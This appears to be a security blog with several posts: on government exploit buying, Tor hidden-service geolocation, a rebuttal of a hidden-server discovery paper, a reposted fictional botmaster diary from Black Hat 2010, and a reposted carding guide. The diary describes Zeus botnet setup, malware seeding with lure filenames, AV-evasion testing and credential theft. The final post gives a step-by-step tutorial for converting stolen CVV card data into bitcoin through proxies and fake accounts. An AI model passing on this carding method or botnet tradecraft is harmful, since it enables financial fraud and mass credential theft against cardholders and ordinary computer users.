06/12/13

Government use of Cyber Weaponized Exploits

gAtO rEaD- The government is buying hackers exploits – not to stop these sophisticated cyber exploits but to use these tools against it’s own people- they are using the tools to infiltrate computer networks worldwide, leaving behind spy programs and cyber-weapons that can disrupt data or damage systems.network

The core problem: Spy tools and cyber-weapons rely on vulnerabilities in existing software programs, and these hacks would be much less useful to the government if the flaws were exposed through public warnings. So the more the government spends on offensive techniques, the greater its interest in making sure that security holes in widely used software remain unrepaired. So your computer is vulnerable and the governments knows it and will not disclose this information, but use it against you to place cookies,RAT’s or other spyware into your computer -maybe- I trust our government don’t you?

If you got nothing to hide, you should not be worried… right????

So our Tax dollars are going to Hackers and cyber criminals that sell these exploits all over the world. As a tax payer I don’t like this part at all. But the worst part is by us taking the lead of cyber offensive cyber tools -example.. Stuxnet – it is a plan book for other countries to do the same. So what we do in cyberspace has become socially acceptable to do in cyberspace and then we bitch about China. I don’t get it – mEoW

Officials have never publicly acknowledged engaging in offensive cyber-warfare, though the one case that has beenmost widely reported – the use of a virus known as Stuxnet to disrupt Iran’s nuclear-research program – was lauded in Washington. Officials confirmed to Reuters previously that the U.S. government drove Stuxnet’s development, and the Pentagon is expanding its offensive capability through the nascent Cyber Command.

Then you have the Prism disclosure and PoW- US Cyber Agents Disrupt Publication of Popular Al Qaeda Magazine – This means that Obama’s cyber military is potentially capable of more targeted attacks, specified at damaging particular pieces of information or infrastructure. I wonder where they got those vulnerabilities? maybe some bad guys—/Nato_cyber_plat

What worries me is as the U.S engages in these attacks our enemies are learning what is acceptable in cyberwar. So we must be careful not to lose the fact that everyone is watching what we do and how we treat cyberspace and others governments will follow, defensive and offensive, they are learning from the best the U.S. Government -gAtO oUt

ref: http://www.reuters.com/article/2013/05/10/us-usa-cyberweapons-specialreport-idUSBRE9490EL20130510

 

http://www.businessinsider.com/us-cyber-agents-disrupt-inspire-magazine-2013-6

 

 

03/10/13

Finding the Bad Guy’s in Tor -triangulated irregular network

gAtO ThInKiNg - a car GPS works very simple, It takes the delay time from one geo-positioned satellite and compares is to another geo-positional satellite and estimates the position of the GPS in my CAR – I think they call it satellite triangulation or something cool, it’s been done with radios to guide pilots navigate ever since they developed radios. We do it with satellite and we can use networks too.

triangulated irregular network  -So now apply this to the Tor bad guy’s websites- a hidden service!math_clouadTag

With a simple command you can get the time it takes to crawl a website, so you have one server in the U.S one is South America, one in Europe and one in Asia and we run the same command getting the delays from each location. I bet with a little math and some basic network tools we could figure out the geo-location of any given website in Tor. One of my good mentors told me that in my crawls I was capturing timing information, we all see timing information with a simple ping command in the clear web but in Tor – UDP is unsupported so it does not work -//- we must take into account the Tor network thru-put and utilization bit that’s easy to get from a number of Tor tools.

Reverse triangulation of a network server should be easy to find with a little math, just take a good sample and the longer you wait the more data you collect and the better the chance you can find a geo-location of a website. We do this in the clear web all the time we can see bad areas of the world that are bad spammers, and other like mail from Africa Prince Scams offering you millions if you send them some money to cover the transfer, or Russian and Chinese phishing attacks. So we know geo-location and some IP are more prime to bad actors and we can draw a profile, a geo-location of a place and/or  country or an ISP so not having the IP of a Tor server may not be neededto find them we could use network triangulation. “triangulated irregular network  ” So the same thing can be done with networks and timing delays of data back and forth from a // client <–> Tor OR <–>server.

I got a crazy Idea that may or may-not work, but it sounds good—//  so— Now if I can only find a government grant and a good math major to help out and we have a big business model to find the bad guy’s geo-location even in Tor - gAtO oUt…

11/13/12

Protocol-Level Hidden Server Discovery -WRONG

sOrRy – AROGANT gAtO - Open letter to:zhenling – jluo -wkui – xinwenfu – at seu.edu.cn cs.uvic.ca cs.uml.edu  – I wrote to you and gave you a chace to reply so her it goes for everyone to see that you rigged your lab in real life it does not work like you claim – gATO OuT – may be wrong mAyBe Si -nO 

zhenling@seu.edu.cn
jluo@seu.edu.cn
wkui@cs.uvic.ca
xinwenfu@cs.uml.edu

Protocol-Level Hidden Server Discovery

Since entry onion router is the only node that may know the real IP address of the hidden service— -note [3] The assumption was made in virtually all attacks towards the Tor network. This is reasonable because onion networks routers are set up by volunteers.

WRONG folks — So criminals work in these sterile structured surrounding – following rules and making assumptions that I’m stupid enough to not know how to control ENTRY and EXIT nodes into my Tor Website— COme on Dudes this is not school it’s the real world… otwxbdvje5ttplpv.onion here is my site now find my IP —

WHo am I – Richard Amores – @gAtOmAlO2 – I run http://uscyberlabs.com – I just finished a boot -“ The Deep Dark Web” Amazon New eBook -The Deep Dark Web – http://www.amazon.com/dp/B009VN40DU   Print Book – http://www.amazon.com/The-Deep-Dark-Web-hidden/dp/1480177598 :- I do a we bit of real life research and I disagree — I go thru a proxie and a VPN in EU… before I go into Tor so the chances that you will find my IP just went up a notch or too. But I’m a legit – Security Researcher – imagine if I run Silk Road — making a bunch of Bitcoins a DAY— how many layers do they have—

how about a basic BRIDGE RELAY — and there it goes – u can’t touch this — how about a simple modification of the torrc file with these
HiddenServiceAuthorizeClient AND – HidServAuth
with these few modification the Tor site is hidden unless you have the key (HiddenServiceAuthorizeClient) in your browser/- that was generated to match the HidServAuth)-of the server– I think that your chances of finding my mean ass hidden service ip address —are ZERO…

I like what you’ll did cool analyst and you explained it great – but this puts fear into people – dissidents will maybe not use Tor because of what you guy’s say and maybe they may get caught and killed… It’s not only CRIMINALS — I know that gets grants money — but Tor is used to communicate and it allows – Freedom of Speech in Cyberspace- I’m gonna write something about this and I want to be nice so please explain why — you can say from an educational place of knowledge and allow this – “in the box” thinking that is being hacked everyday because they say— we did everything they told us to do— this is wrong and not true —

If you could get the IP of Silk Road — or better yet – PEDO BEAR the largest PEDO directory in TOR — tell me the IP and I will take it down myself— but don’t come at me saying we are right and every hacker is wrong  — learn please our world is depending on your great minds —

later,
RickA- @gAtOmAlO2 http://uscyberlabs.com

Here is the original paper —http://www.cs.uml.edu/~xinwenfu/paper/HiddenServer.pdf
A recent paper entitled Protocol Level Hidden Server Discovery, by Zhen Ling, Kui Wu, Xinwen Fu and Junzhou Luo.  Paper is starting to be discussed in the Tor community.  From my perspective, it is a nice attack to reveal the IP address of a hidden service.  It would require resources to actually implement effectively, but for Law enforcement trying to shutdown and arrest owners of illegal websites selling drugs, weapons, or child pornography and are hiding behind Tor, it is an option.  Of course that also means the capability to find anyone that might be doing something a government or large entity does not agree with. The paper is here.
This stuff reminds me of a statement a professor said to a class I was in once:  “Guns are not good or bad.  It depends on who is holding the gun and which end is pointed at you.”

10/22/12

Diary of a Professional Botmaster

gAtO -found this and had to share with you. If you want to know how a botMaster is created check this out. A simple software engineer becomes a botMaster sounds like “surreal Walter White in Breaking Bad”. First you will noticed that this was written in 2010 and it’s been a model of the botMaster persona. This is a fictional tale now add the Tor onion network to hide the c&c and mobile Android /iApple devices but it comes so close to the real edge, have fun reading -gAtO oUt

Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

 Diary of a Professional Botmaster 

June 20, 2009 

I’ve decided to restart the diary. I used to keep one many years ago, but stopped when I moved down to London and started my MSc in Computing & Security at King’s College – much use that degree ever turned out to be!

I found out yesterday that me and most of the team are going to be made redundant at the end of the month. It appears that the company doesn’t need so many developers after they decided to sell off the Private Banking division to some German brokerage and they ditched those annoying trader guys up on the 18th floor a couple of months back.

Anyhow, I’d better start looking for a new job. The markets pretty tight at the moment. It seems that all the banks are laying off folks and the developers are the first to go. Not surprising really. I’ve been thinking about setting up my own business for a while though. Perhaps it’s time to bite the bullet and just do it. Take that redundancy cheque and invest it in myself?

June 22, 2009 

Was down at the pub for most of the afternoon with Bill & Ted. We were tossing around ideas of businesses I could start – in particular, businesses that could make me a millionaire in a year’s time. Granted, most of the ideas were completely off the wall and would be destined to fail or end in my bankruptcy within weeks of starting them (or would likely land me in prison within short order) but some of the grey areas look like they could be pretty exciting.

Ted was going on about botnets and how they’re not really illegal. Sounds like rubbish to me, but I’ll check it out anyway.

Last year when we had that worm go around the office and the Ops guys spent a couple of weeks chasing it down and cleaning up systems – that was pretty cool, and I can see how the authors of that worm could make quite a bit of money from it with a little banking knowledge. I don’t think they ever got caught either. Ted told me that James – the lardy guy over in second-level helpdesk – said that they were still having outbreaks of that very same worm and uncovering other infected computers almost every day (after an entire year). How cool is that!

June 25, 2009

I’ve been reading up on botnets. The Internet is full of great information about them. YouTube even has tutorials on how to create the malware, deliver the bot agents, manage the Command and Control (CnC) and turn the stolen data into real money.

I did some digging on these hacker forums too. They’re pretty cool. Most are well organized and there are bundles of tutorials, guides and discussion threads on all aspects of the botnet business. There’s even entire forums dedicated to matching buyers with sellers – Craigslist style! Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

June 26, 2009

Had a great session with Demitri over IRC today. He’s been running a handful of botnets over the last couple of years and seems to know what he’s talking about. Came across his advertisement on one of the boards and was offering a free 2-hour test-drive of his botnet CnC console – so I got to play with a couple hundred computers. Some of the functionality was grayed out, but I got a chance to DDoS the companies’ website – from the comfort of my desk ?

I spoke with a couple of the company Internet ops guys afterwards – being careful in what I said of course – to see if they noticed. Apparently they did. It didn’t bring down the site, but they were alerted from their IPS. Supposedly this is a common enough occurrence and happens most weeks. I guess I’m a little disappointed with that. I wonder how many bots I’d need to take down the webserver?

Dimitri said that he normally uses about 5,000 bots to take down big websites – but 200 is more than enough to wipe out corporate VPN appliances. Handy to know!

June 27, 2009

Sat down with Jim the lawyer this afternoon. I wanted to go over the details of setting up my own contracting business. Since I haven’t had much luck on the replacement job front looking for permanent roles, I figured I’d just go down the contracting route – since there are more opportunities going for temporary software engineering positions.

There’s not much to creating your own business. Jim helped me with all the forms – so I just need to mail them off tomorrow, and I’ll be on the way to creating my first business. He also explained some of the nuances to setting up a company in some other countries and the possibilities of “offshore accounts” and tax havens. I took plenty of notes. You never know when that’ll come in useful.

June 28, 2009 

Spent all day harvesting hacker boards for tools and playing with them on a couple of old laptops. This stuff really is easy.

I even came across this guy(?) on one of the chat forums (who can’t have been more than 14 years old) who was selling a botnet of 2,000 computers for $400. The funny part though was when the flame war stated about how overpriced that was. Apparently you can pick up 2,000 computers for as low as a $50 Walmart giftcard.

June 29, 2009

I woke up this morning with an epiphany (or was it just a delayed hangover?). I’m going to start my own botnet – but not just any botnet, I’m going to do it properly and make a business from it! I’ll still pursue any legit consulting roles that crop up – still got to eat and pay the bills – but it’ll make a convenient front while I’m building botnets.

Why the botnet business? Because it’s cool! Well, actually, it’s more than that. I don’t want to work forever in a dull office job and, from what I can tell, botnet building seems to be pretty profitable – and not many people get caught. And, if they do get caught, they basically only get a slap on the wrist. Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

Having read quite a few of the news articles about the folks that got caught, it looks to me that they got caught because they did something stupid and/or they clearly crossed the criminal line – and the police were forced to do something about them.

I’m pretty sure that I’m smarter than that. Didn’t any of these guys ever consider building a business plan first? Plan it all out – have a strategy and stick to it!

I’ve left the computer downloading a few tool collections I found on one of the Argentinean malware blog sites. 4Gb of tools, kits and exploits. Awesome! And it’s all free!!

June 30, 2009

Final pay date from the “old job”, and I’m now officially free of the company. Ended up with a little over £35k after taxes too – so that’ll tide me over the next few months as I pull together my new business(es).

Last night’s download worked out pretty good. There are hundreds of botnet kits in there – complete with CnC interfaces, exploit packs, phishing templates, malware creators and obfuscators. Supposedly there’s a high likelihood that many of them are backdoored, but who cares – it’s time to play! I’m going to try a couple of them out on the corporate laptop before I have to hand it back – preferably one with a good rootkit. I wonder if they’ll ever notice?

July 1, 2009

Woke up this morning having dreamed about what kind of botnet business I want to build. Also figured out a few “rules” that I want to work towards – maybe more of a “guiding principles” perspective really.

1. DON’T GET CAUGHT – which means I’m going to be damned careful in setting up everything and making sure that nothing can be traced back to me personally. Sure, there’ll be layers to the onion, but I’m not going to allow myself to be let down by poor tradecraft and bad habits. Those hackers in France and Spain got caught because they didn’t have enough layers of deniability and mixed the use of their personal systems and their botnet infrastructure.

2. DON’T DO CRIMINAL HARM – While I’m pretty far removed from planning on being a Robin Hood, I’m not going to get mixed in with the Mob or other organized crime. Similarly, I’m not going to get involved with any political or religious drivel. I also don’t want to cause any physical harm – as that’s a sure way of getting the interest of the police – and, besides, it’s not who I really am. The more legit I can make this business, the easier it’ll be to bow out after I’ve made my money.

3. RESILIENCE AND SCALABILITY ARE MY FRIENDS – Since this is going to be a business, based upon the lessons I learned from the Private Banking firm and all I’ve been reading over the last couple of weeks, it should be possible to build pretty big botnets really fast – if I plan it well.

Resilience will be even more important though. Getting back to the “don’t get caught” principle and the layers of deniability (and abstraction), if I plan for making the CnC and distribution systems robust, I’ll endeavor to split things over Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

several hosting providers and geographic regions.

Also spent some time on the hacker portals and responding to some of the threads. Some of the more interesting forums are currently closed to me because I haven’t developed a site reputation – which can be gained by posting 20, 50 and 100 messages. This’ll be pretty easy though. Lots of questions about coding problems which I can answer without too much thought.

July 3, 2009

I think I’ve managed to plan out a few more CnC infrastructure ideas. I found a few more tutorials online – and also some good message threads on domain registration tactics, Dynamic DNS operators and folks that’ll distribute malware for a few cents. It appears that a good rate at the moment is around $100 for 2,000 guaranteed installs. A little pricey if I was buying, but it sounds like good money if I was to become a seller ?

I also realized that I forgot a rather important principle for inclusion – my zero’th principle…

0. I WANT TO BE RICH – but, more to the point I want to retire rich, not be the richest bloke in jail.

Which all means that I need to do some more investigation on how to secure the money. I don’t want the money to be directly traceable to me – nor to the consulting company I’ve just created – but I’m going to need ways to pay for stuff and ways to accept payments. All deniable of course.

Made a few new connections on the hacker forums. Now that I’m posting to some threads I’m getting direct messages from some of the folks there. A couple of the guys that reached out were trying to pimp out their services – both of them malware dropper services. Someone else asked if I was with the FBI.

The USA perspective was interesting. I hadn’t realized that the guys on the forums can see/track my IP address and from there work out where I’m located. I’ll have to do some experimenting with anonymous proxies and TOR networks. I ran across a few video tutorials on the topic yesterday. That’ll be my homework for this evening – getting something setup and hiding my IP address forever more…

July 4, 2009 

Surprise in the snail mail – company papers just came back. I’m now the CEO of Thrull Networks! Cool company name huh! I wonder if anyone will ever figure it out – thought it was apt at the time. Maybe it’s a little too close to the mark. 5% on the dumbness scale I guess. Will have to be smarter in the future. I’m going to keep it though. Even saw that some related .com and .net domain names are available for registering.

Earlier this morning I went out and bought a couple of new laptops. Nothing special, just some small(ish) $800 laptops that I’m dedicating to my botnet business – and will never taint them with the Thrull Networks consulting business. Although I will be claiming them as tax deductable expenditures. Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

Also spent most of today coming up with the rules I’m going to work under for achieving principles (1) and (3)… and maybe a little of (0) too.

So, the new rules…

A) Separate systems for work/pleasure/personal and botnets. The two new laptops are JUST for the botnet business. I’ve already installed a full disk encryption scheme and come up with a 44 character password. I doubt that anyone’ll be breaking that mother anytime soon.

B) Never connect to the botnet CnC or do any botnet-related business from my home network. Given the general availability of free WiFi at Starbucks and McDonald, etc., I’ll use those. A couple of additional rules there though – don’t frequent them in a regular pattern (sounds like a Tom Clancy spy novel), and don’t use stores that have CCTV setups. I was tempted to use some of the unsecured WiFi networks in the neighborhood – but that may be a little too close for comfort. Besides, the coffee will be better than what I have at home.

C) Change the MAC on the laptops regularly. I’ve already downloaded and installed a cool piece of software that does precisely that. I’ve also installed a bundle of different Web browsers – but have deliberately not installed any plug-ins etc. I was reading recently a couple of online projects that showed how they could query your Web browser through JavaScript and the DOM to build a signature of the browser – and how “unique” that became once you started installing plug-ins and how regularly you kept them patched. So I’m planning on keeping the laptops as simple and “dumb” as possible.

D) Never connect directly to the botnet infrastructure. Lesson learned yesterday. TOR and anonymous proxies are now default on all my computers – especially the two new laptops!

E) While encryption is my friend. Asymmetric crypto is going to be my live-in lover. Thanks Bruce for the tips!

July 9, 2009

Been playing around all week with the DIY kits I downloaded a couple of weeks back. The Zeus kit is pretty impressive with its polymorphic malware generator. I was running its output past some of the free online antivirus scanning portals and noting which (if any) antivirus tools detected the samples. On average, only a couple of the AV tools detected anything – and if they did, it was only some kind of generic signature such as w32.suspicious etc.

I was originally using www.virustotal.com, but when I tried to find other AV portals that might have more AV products in them I stumbled over a couple of cool threads that explained why I shouldn’t use that site (and a few others) because they share the malware samples with the AV vendors. Therefore the AV vendors will have detection signatures for the malware out within a few days. That sucks – because I probably just wasted a few dozen cool pieces of Zeus malware. Luckily there were plenty of alternative AV testing portals being recommended and (yet more) tutorials on how to set up your own malware QA testing regimes. Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

I’ve settled on www.virtest.com now. They charge a few dollars for the privilege of testing the malware I submit, but they allow me to upload multiple malware samples simultaneously in bulk format. They also have some other services for checking out the malware delivery websites too – so you can check to see if the exploit packs used by the Zeus kit (and others) are correctly installed and whether the other AV components (e.g. HIPS) detect the infection. Their VIP account is $50 per month. I’ll have to figure out a good way to pay for the service. Something that can’t be traced back to me personally…

July 10, 2009 

I spent the entire morning down at the Starbucks down by the park using their “free” WiFi. Cost me about $26 in coffee for the 4 hours.

Anyway, I set up a handful of free webmail accounts. A couple of Gmail accounts, a couple of Hotmail accounts and a couple of Yahoo accounts. I entered in garbage “personal” information, but gave them all the same password – “Lucky4Me*Unlucky4U”. They’re disposable accounts for trialing out a few new concepts and learning what works.

Next, I created a couple of websites to host the Zeus CnC console pages. I had originally been worried about how I was going to have to pay for the web hosting – but a quick search for “free web hosting” revealed plenty of services – including portals that provide detailed reviews of all the providers. Woohoo.

It took me about an hour to create the sites on 0000free.com. It’s the first website I’ve ever built – and I had to learn some PHP while doing it all. On the job training if you like. The index page is just a copy/paste job from some car-parts website – and the Zeus CnC configuration and bot registration pages are off in a subfolder. They’re accessible if you know the URL, but they’re intentionally not linked to from anywhere. I don’t really want some search engine crawling the sites and flagging the Zeus CnC.

I’ll be spending some time later tonight generating some malware samples that’ll use the two new CnC URLs. That’ll be hard work – should take me all of 10 seconds ?

July 11, 2009 

A botnet is born. I’m a father!

So, this morning I headed off to the Starbucks over by the athletics center to play with my newly minted malware and the CnC services.

I originally set up a VMWare session on the laptop and infected it with the new malware bot agent and watched it reach out to the CnC server. Meanwhile I browsed to the website, logged in to the CnC console, and saw the test victim register itself – so I spent a good half hour testing out all the features of the bot agent. It’s pretty slick. Ugly, but slick. The toughest part of all this was setting up the TOR agent to provide the anonymous web access in reaching the CnC console.

To get the bot malware into play I decided to upload the samples to the Newsgroups – since they don’t require me to host the files directly and also provide anonymous Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

uploading. One file I named “Windows7KeygenCrack.exe” and the other “iTunesDRMRemover.exe”, and included some BS text about how good the tools are. They were both uploaded to a handful of different alt.binaries. groups using different email accounts and source IP addresses.

I hung around Starbuck for another hour, but didn’t see any victims appear on the Zeus console – so paid a visit to Bill & Ted and grabbed lunch with them in town. Ted’s already gotten a new job at some Scottish bank. Chose not to tell them about my botnet research. The ideas may have come from them originally, but I’m not about to share this secret.

Anyhow, I popped in to the McDonalds by the railway station at about 4pm and connected to the Internet to see how my “botnet” was coming along. Surprise, surprise, I had three new members to my botnet. How cool is that! I was well chuffed with that small success and subsequently spent an entire hour connecting to each computer and checking out what I could access on their systems. Just as I was about to pack things up and head off home a fourth computer joined my botnet.

I couldn’t stop smiling on my way home from McDonalds. I think I may have even said “I’ve just fathered my first botnet” somewhere on the walk up the hill. Haha.

Guess where I’ll be tomorrow morning…

July 12, 2009 

Got to Starbucks early this morning and was online with my baby botnet by at least 9:30am. It had swollen over night and the counter had reached 18 computers – but I could only contact 6 of them. The others must have been turned off or something.

For the next hour (and second cup of Java) I created a couple dozen new malware bot agents and configured them to point to the same two Zeus CnC servers I’d set up yesterday. I then went on to use the same Newsgroup tactics – but picking a few other juicy social engineering file names (and descriptions) – e.g. “AcrobatProfessionalKeygen.exe”, “RossettaStoneLanguagePackUnlocker.exe”, etc.

By the time I left the coffee shop the botnet had grown to 23 computers – mostly in the US and the Netherlands, but a couple from Australia and Taiwan.

Went home afterwards to do some more studying and recon, and found some good information on how to automatically pull back account and identity information from Zeus malware clients. There are a number of scripts that you could run automatically on each botnet computer to extract their webmail credentials, anything they’ve told their IE or Firefox web browsers to remember, etc.

I also found some plug-ins for the Zeus CnC console that help to manage the data that comes back from the keylogger and other info-stealer components – which I installed on the web servers later on my return trip to Starbucks – and left CnC commands for the botnet malware to automatically start collecting and uploading the identity information. Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

By 7:30pm my botnet had reached 200 members. It’s no longer a “family unit”; it’s a small village and I’m Pastor of the flock.

July 14, 2009

Had a couple of contract interviews yesterday, and hadn’t managed to check on how my baby was coming along for a couple of days. So, it was with a rather pleasant surprise I noted that the botnet had reached 3,320 computers.

Actually, I’m not so sure about the number and whether it’s a good number to rely upon. The number of computers “active” were about 450 – and I tested that I could control them OK. As for the rest, well, they were “offline” – but I did have files from all 3,000+ computers sitting on the CnC server – so I guess they were successfully compromised with my botnet agent.

I moved all the files off the two CnC servers and copied them to the laptop. When I got home I started doing some analysis.

Brief stats (for posterity)…

942 Facebook accounts

766 Twitter accounts

322 Gmail accounts

318 Hotmail accounts

193 Yahoo accounts

76 Paypal accounts

… and lots of sub-50 accounts – many for services/websites I’ve never heard of before. All told, about 5,500 different accounts.

BTW I’m not sure I like using Starbucks – I’m spending too much money on coffee there ?

July 15, 2009

The botnet’s now reached 4,000 computers.

There was an email from 0000free.com waiting for me from yesterday. Apparently I should be upgrading to a paid account because of all the traffic/hits the site has been receiving. Just as well I moved off all the identity information and files – I was almost over the file quota too!

July 16, 2009

4,300. What’s the population have to be before a village can be called a town?

Created another couple of dozen malware for release on the Newsgroups since the botnet growth appeared to be slowing down.

July 17, 2009 

I think I’m the Mayor of a small town now. I visited the Starbucks down by the strip mall this afternoon and logged in to the botnet. 11,435 computers!

At first I thought it may have been a mistake since the size jump was so large. Introducing a couple new malware downloads didn’t get that much of a leap last time. But I figured it out after about 20 minutes of probing and searching. It would seem that the new file “MichaelJacksonDeath-OfficialAutopsyReport.exe” was more successful. It also managed to make its way on to some Torrent server and plenty of people are downloading it.

New lessons learnt from yesterday’s efforts: Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

1) Tying social engineering to media and entertainment current events results yields more additions to a botnet.

2) Torrent networks can make the botnet malware reach more people faster.

July 18, 2009

Just as well I downloaded all those new files yesterday, because the botnet is dead. I’m no longer the Mayor.

This morning I popped on over at the Library for a bit of their WiFi access and tried to connect to my CnC servers. Nothing – well, more than nothing, the Zeus CnC pages had been deleted and my webserver account had been disabled. There were instructions to phone the helpdesk to discuss reactivation.

Waiting in the inbox of the webmail account I used to register the free websites was an email telling me that my site may have been hacked and was being used for malicious purposes.

A quick Google revealed that both CnC URL’s and configuration files were listed up on ZeusTracker.abuse.ch.

Bugger!

July 19, 2009 

All is not lost. I’ve still got all those identity/account detail files from all my botnet computers. The total – adding the first batch with the batch from the 17th – comes to a little shy of 19,000 unique sets of credentials. I can still access any (if not all) of those stolen accounts anytime in the future.

Better yet – there’s absolutely nothing that can be tracked back to me. Sure, the botnet is now out of my control (and computers are still being compromised with the malware which is still in circulation in the Newsgroups and Torrents), but I’m safe and have learnt a few new lessons.

That said though, it’s about time I started to focus on bringing in the money from the botnets. I’m not going to get that Porsche building botnets for botnets sake. I could easily enough find buyers for the stolen information – the hacker forums are overflowing with buyers and agents. That’s not a problem. The problem lies in converting “Internet money” into cash – and laundering those transactions sufficiently.

With that in mind, I spent all afternoon researching offshore banking and the creation of anonymous accounts. Disappointingly those infamous Swiss Numbered Accounts don’t exist anymore – at least not like they do in the movies.

I managed to narrow it down to three banking accounts and, as my finances grow, I’ll start to bring them on line. I’ve found agents that will allow me to set up Swiss banking accounts online. They require proof of address, but they provide a level of guarantee that personal information will not be supplied to anyone outside of Switzerland. The Cayman Island accounts are easier to set up – and don’t require an agent – but require a higher deposit. They’re a little too rich for my tastes at the moment – but I’ll probably add an account once I break the $100k per month revenue stream (if ever?). Becoming the Six-Million-Dollar Man Blackhat USA 2010 Gunter Ollmann 

No, the account I created online this evening was for a Panama Bearer Share Corporation account. As of an hour ago I’m now CEO of a second company – “Net Wizards LLC.”. I deposited $5,000 into the account. Not only does it provide an anonymous business front and full international banking facilities, but it comes with 4% interest and the credit cards issued against the account should be arriving in 10 days time.

July 20, 2009

I’m back in the botnet business!

I was keeping a couple of my hacker forum accounts live by responding to a few message threads and I stumbled across a couple of reputable botmasters that were in the process of selling off sections of their botnets. They were offering batches of 100 bots with dedicated CnC hosted servers for $200 each.

Most significantly though – there were alternatives to the $200 in Webmoney or PayPal funds – they’d accept hacked webmail accounts, Facebook accounts and Twitter accounts.

After a little back and forth, we agreed on the trade and exchange mode (had to use an agent that was pre-vetted on the forum – one of the administrators – who charges 10% for his time/effort). From X4cker I picked up 600 bots and two CnC servers (in the Ukraine no less) for 3,000 Gmail accounts and 1,000 Hotmail accounts. From Dankar007 I managed to procure 500 bots for the princely sum of 500 PayPal accounts. The site administrator/agent didn’t do too badly out of the deal either. I’m sure that he (or she?) now has his own copies of all those accounts.

After some quick verification and having tested the access to the two botnets, I created a new Zeus botnet agent and pushed it down to all 1,100 bots – and changed the admin credentials on the CnC servers.

Not only am I back in “business” with a brand new botnet, but I’ve still got all those account details from the previous botnet that I can continue trading/reselling to other operators.

— I just realized that this diary is now precisely one month old. In that month I lost my job, founded two companies, become a CEO, built a botnet, lost a botnet, established a reputation in the hacker communities, opened an international banking account, and just purchased my second botnet.

Time to start pulling together the business plan for constructing a profitable money-making botnet! The “march to a million” sounds like a great idea, but I’d prefer to aim for Steve Austin’s The Six Million Dollar Man. I’m pretty confident that I can reach that target over the next 11 months! What would mom say?

Original BlackHat PDF file –

http://media.blackhat.com/bh-us-10/whitepapers/Ollmann/BlackHat-USA-2010-Ollmann-6millionDollarMan-wp.pdf

ZeuS Tracker Statistics – https://zeustracker.abuse.ch/statistic.php

Note: This is a fictitious (and subtly macabre, but hopefully humorous) diary account loosely based upon real investigations of professional botnet operators and the criminal enterprises they created to monetize the data and systems under their control. It does not represent a single botnet operator, rather it represents a concatenation of notable business models, decisions and discussions from a spectrum of criminal operators. Names and places have been deliberately altered. No animals were harmed in the making of this diary.

 

09/22/12

Hacking the Credit Card Code

gAtO wAs- surfing around and found this information targeted at future cyber gAtIcOs- These are the basic tricks that the bad guy’s are using to game the system. and they share this basic information to help other stupid wanna-bee bad guys. TRUST but VERIFY – be a critical reader and remember that this comes from bad guy’s always trying to trick you. I checked out most of the LINKS and deleted any ones I though may be bad. Some of this is a bullshit, some stupid  and some is real from what I can tell – enjoy–gATO oUt  

for educational PURPOSES ONLY. – how the Cyber Criminals are using the system for cyber-money laundering. 

Cracking The Credit Card Code

Credit Cards 2 BTC-Bitcoin – BTC-Bitcoin 2 Credit Cards

 

Wasn’t quite sure where to put this, but I decided I’d share some information on the actual code of a credit card.

In reading this you will be able to interpret credit card codes efficiently and actually be able to learn about the card itself. This is all simply by knowing the 16 digits on the front of a card.

The first digit of a card is called the Major Industry Identifier (MII). It designates the category of the entity which issued to card. This is useful in finding what exactly the card is for.

1 and 2 are Airlines,

3 is Travel and Entertainment

4 and 5 are Banking and Financial

6 is Merchandizing and Banking

7 is Petroleum

8 is Telecommunications

9 is a National assignment

The first 6 digits are the Issuer Identification Number (IIN). It will identify the institution that issued the card.

Visa: 4xxxxx

Mastercard: 51xxxx – 55xxxx

Discover: 6011xx, 644xxx, 65xxxx

Amex: 34xxxx, 37xxxx

Cards can be looked up by their IIN. A card that starts with 376211 is a Singapore Airlines Krisflyer American Express Gold Card. 529962 designates a pre-paid Much-Music MasterCard.
The 7th and following digits, excluding the final digit, are the person’s account number. This leaves a trillion possible combinations.

The final digit is the check digit or checksum. It is used to validate the credit card number using the Luhn algorithm

How to use this information to validate a credit card with your brain:

Take the below number (or any credit card number)

4417 1234 5678 9113

Now, double every other digit from the right

(4×2, 1×2, 1×2, 3×2, 5×2, 7×2, 9×2, 1×2)

Add these new digits to the undoubled ones (4, 7, 2, 4, 6, 8, 1, 3)

All double digit numbers are added as a sum of their digits, so 14 becomes 1+4.

8+4+2+7+2+2+6+4+1+0+6+1+4+8+1+8+1+2+3 = 70

If the final sum is divisible by 10, then the credit card number is valid.

If it’s not divisible by 10, the number is invalid or fake.

In this case, 70 is divisible by 10, so the credit card number is indeed valid. This works with every credit card and opens many ideas to the mind.

 

Credit Cards to BTC-Bitcoin

These are methods that have been discussed on HackBB for cashing CCs into bitcoins. Before I continue let me get this out of the way. No you can not cash your CVV directly into bitcoins. Exchangers know the risk involved in accepting reversible credit for non-reversible currency, and the few that have ever accepted direct CC payments were scammed out of business. There are ways around this issue..

CC -> SLL -> BTC

Editors Note:

VirWox wised up to this method and started forcing users to validate their SL avatars..

http://clsvtzwzdgzkjda7.onion/viewtopic.php?f=49&t=1836

Thought I’d tidy this up a bit with a noob-friendly tutorial on how to buy bitcoins with a CVV through VirWox.

What you will need.

  • Valid CVV (any country will do)
  • Clean Socks5 proxy as close as possible to cardholder’s address
  • Good DNS setup

Ok lets get started.

You’ll need an email account. Go create a new one at yahoo/gmail/whatever…..doesn’t matter which (i wouldn’t use tormail for this……too much of a flag).

Go to https://www.virwox.com/, and create a new account using the email you just set up and the name on the CVV. Just make up a fake SL avatar – you don’t need to validate it.

You will then have to confirm your new account by retrieving the temp password from your email.

First thing to do in Virwox is change your password in the “Change Settings” tab on the left.
Now we’re ready to do some carding. Click “deposit” and scroll down to the Skrill(moneybookers) option. Then enter the max amount for the currency of your card (currently $56 for USA cards) and click the moneybookers logo.

If you have NoScript installed you will have to temporarily allow all this page. Enter the details you have for the CVV and make up a fake date of birth if you dont have a genuine one.

If all goes well, you will then be taken back to the main page with your USD/EUR/GBP balance filled.

On the “exchange” menu left of screen choose USD/SLL to convert to Linden $s, then BTC/SLL to convert to bitcoin.

Now withdraw.

